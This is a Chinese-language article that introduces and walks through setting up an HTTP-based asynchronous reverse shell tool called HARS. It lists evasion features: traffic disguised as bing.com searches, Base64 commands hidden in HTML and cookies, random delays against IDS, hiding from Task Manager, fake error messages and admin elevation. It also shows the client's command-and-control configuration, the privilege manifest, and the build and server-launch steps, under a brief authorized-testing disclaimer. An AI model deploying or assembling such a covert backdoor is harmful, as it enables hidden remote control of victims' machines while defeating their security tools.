您好,登錄后才能下訂單哦!
這篇文章主要介紹了Http-Asynchronous-Reverse-Shell是什么意思,具有一定借鑒價值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。
目前,我們有很多種方法可以創建一個反向Shell,并嘗試繞過防火墻以成功控制遠程設備。但實際上,傳出的連接并不一定都會被過濾。
然而隨著技術的發展,安全軟件和硬件(入侵防御系統IPS、入侵檢測系統IDS、代理、反病毒產品和EDR等)也變得越來越強壯,它們有能力去檢測到這些攻擊行為。而大多數情況下,與反向Shell的連接都是通過TCP或UDP隧道建立的。
因此,我們需要隱藏這些通信信道,而最好的方法就是將它們偽裝成合法連接。標準用戶使用最多的就是HTTP協議了,而且這種類型的流量幾乎不會被過濾掉,以避免影響用戶的網站瀏覽和訪問。
1、客戶端App首先需要在目標設備上執行;
2、客戶端與服務器建立初始連接;
3、服務器接受連接建立請求;
客戶端接收到指令之后,會向服務器發送查詢請求;
攻擊者提供指令給服務器端;
當命令被定義后,客戶端將會執行該命令,并返回執行結果;
然后不斷執行上述流程,直到攻擊者結束會話連接為止。
該工具的當前版本實現了以下幾種功能:
1、將HTTP流量偽造成bing.com的搜索流量;
2、命令會以Base64編碼在HTML響應中;
3、命令執行結果會以Base64編碼在客戶端cookie中;
4、[可選]SSL支持,默認使用偽造的bing.com證書;
5、在每一個客戶端調用請求之間設置隨機延遲,以避免觸發IDS;
6、服務器的每一個響應都使用了隨機模板;
7、復用相同的PowerShell進程以避免觸發EDR;
8、支持所有的CMD以及PowerShell命令;
9、[可選]客戶端可以在啟動時顯示偽造的錯誤信息;
10、客戶端在任務管理器中不可見;
11、[可選]客戶端能以管理員身份運行;
我們使用了69款反病毒產品來對我們的客戶端來進行檢測,其中只有三個會將其檢測為惡意程序,而且還是在沒有使用任何AV規避或混淆技術的情況下。
1、在Visual Studio中打開HARS.sln文件。
Config.cs
這個文件中包含了工具的運行參數,我們需要根據具體情況來配置每個參數的值:
class Config { /* Behavior */ // Display a fake error msg at startup public static bool DisplayErrorMsg = true; // Title of fake error msg public static string ErrorMsgTitle = "This application could not be started."; // Description of fake error msg public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid."; // Min delay between the client calls public static int MinDelay = 2; // Max delay between the client calls public static int MaxDelay = 5; // Fake uri requested - Warning : it must begin with "search" (or need a change on server side) public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid="; /* Listener */ // Hostname/IP of C&C server public static string Server = "https://127.0.0.1"; // Listening port of C&C server public static string Port = "443"; // Allow self-signed or "unsecure" certificates - Warning : often needed in corporate environment using proxy public static bool AllowInsecureCertificate = true;}
HARS.manifest
按照下列命令修改相應參數,工具將默認以特殊權限運行:
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" /><requestedExecutionLevel level="asInvoker" uiAccess="false" /><requestedExecutionLevel level="highestAvailable" uiAccess="false" />
項目屬性
在下面這個界面中,你可以自定義配置編譯信息以及文件圖標:
注意:目標.NET框架版本設置為了v4.6,Windows 10默認自帶了這個版本的框架。如果是Windows 7,你可以選擇.NET v3.5。
代碼構建
你需要在Visual Studio中構建項目源碼,生成的客戶端程序將存儲在Http Asynchronous Reverse Shell\HARS_Client\HARS\bin\Release目錄下。
HARS_Server.py文件位于Http Asynchronous Reverse Shell\HARS_Server\www目錄下。如果你需要修改端口或證書位置,可以直接修改配置文件中的相應參數:
# ConfigPORT = 443CERT_FILE = '../server.pem'
python HARS_Server.py
1、HTTP日志文件存儲在Http Asynchronous Reverse Shell\HARS_Server\logs目錄下。
2、你可以在Http Asynchronous Reverse Shell\HARS_Server\templates目錄下添加你自己的模板(任意HTML頁面文件)。
此工具僅用作授權安全測試的概念驗證演示工具,請不要將其用于惡意目的。
感謝你能夠認真閱讀完這篇文章,希望小編分享的“Http-Asynchronous-Reverse-Shell是什么意思”這篇文章對大家有幫助,同時也希望大家多多支持億速云,關注億速云行業資訊頻道,更多相關知識等著你來學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。